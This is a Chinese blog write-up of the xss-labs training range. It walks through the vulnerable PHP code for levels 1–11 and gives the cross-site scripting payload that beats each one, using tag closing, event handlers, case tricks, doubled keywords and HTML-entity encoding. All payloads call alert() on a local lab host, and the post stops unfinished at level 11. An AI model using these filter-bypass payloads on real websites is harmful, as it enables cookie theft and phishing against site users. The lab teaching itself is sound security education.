前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >XSS靶场攻关笔记

XSS靶场攻关笔记

作者头像
逍遥子大表哥
发布2021-12-19 11:50:11
6010
发布2021-12-19 11:50:11
举报
文章被收录于专栏:kali blog

XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。

安装

项目地址:https://gitee.com/Zcodetea/xss-labs

level

我们首先对核心代码进行分析

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

通过GET方法,将name的值赋值为变量$srt并将其直接输出。

即!如果name=<script>alert()</script>时,将会把结果直接输出。

构造POC

代码语言:javascript
复制
http://192.168.123.240/level1.php?name=%3Cscript%3Ealert('bbskali.cn')%3C/script%3E

leve2

代码解读

代码语言:javascript
复制
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

我们对数据进行抓包分析

后台过滤了<>符号,对其进行了实体化。但是我们发现了另一个可搞的地方。input标签的value值,正是我们的输入内容,且没有过滤。

修改payload:"><script>alert()</script>

提前将input标签闭合,让<script>独立出来。

leve3

代码分析

发现value里的<>也被实体化掉了

以采用“事件”,常用的有两个,onclickonmouseover

这里用onmouseover,payload:' onmouseover='javascript:alert(1)

这个为什么会起作用呢?你把它带进input的value就明白了。带入:

源码中就会被修改成:<input name=keyword value=' ' onmouseover='javascript:alert(1)'>

注入成功后,鼠标移动到input输入框,就会触发

leve4

和leve3的原理一样,只不过需要将'改为"

payload:" onmouseover='alert(1)'

leve5

发现事件也被过滤掉了。不要感到束手无策,前两题我们用事件是因为,<>不能用。但是这关没限制呀。我们只是不能用script,还有好多标签可用,比如<a>, <img>

所以我们提前闭合input<a>即可

payload:" /> <a href=javascript:alert()>bbskali.cn</a>

leve6

同样的套路,但是发现超链接屏蔽了。

href进行了屏蔽,那么有么有屏蔽Href等大小写组合呢?

OK 成功!

leve7

script字符串被整个的过滤掉了,输入的on被过滤掉了,javascript的script也过滤了。

payload:"><scripscriptt>alert()</scrscriptipt>

leve8

发现输入框的value会被填进超链接的href里面去。所以我们只需构造href就好了。

javascript被过滤了。这里你发现调整大小写也没有用。怎么办?

我们就可以使用t替换javascript中的t,从而绕过过滤。

payload:javascrip&#116:alert()

leve9

输入中要有http://才能被识别写入。

paylaod:javascrip&#x74:alert()//http://

leve10

没有输入框,也没有超链接了。

通过发现,将输入框隐藏了而已。

payload:t_sort=" type="text" onmouseover=alert() "

leve11

对其源码分析

代码语言:javascript
复制
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="http://192.168.123.240/level10.php?t_sort=%22%20type=%22text%22%20onmouseover=alert()%20%22" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:9</h3></body>

其中多了一个input,它的value很有趣,就是第10关的url。

在第十关完成的瞬间,我们使用burp抓取数据包

未完待续……

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1921465

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 安装
  • level
  • leve2
  • leve3
  • leve4
  • leve5
  • leve6
  • leve7
  • leve8
  • leve9
  • leve10
  • leve11
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档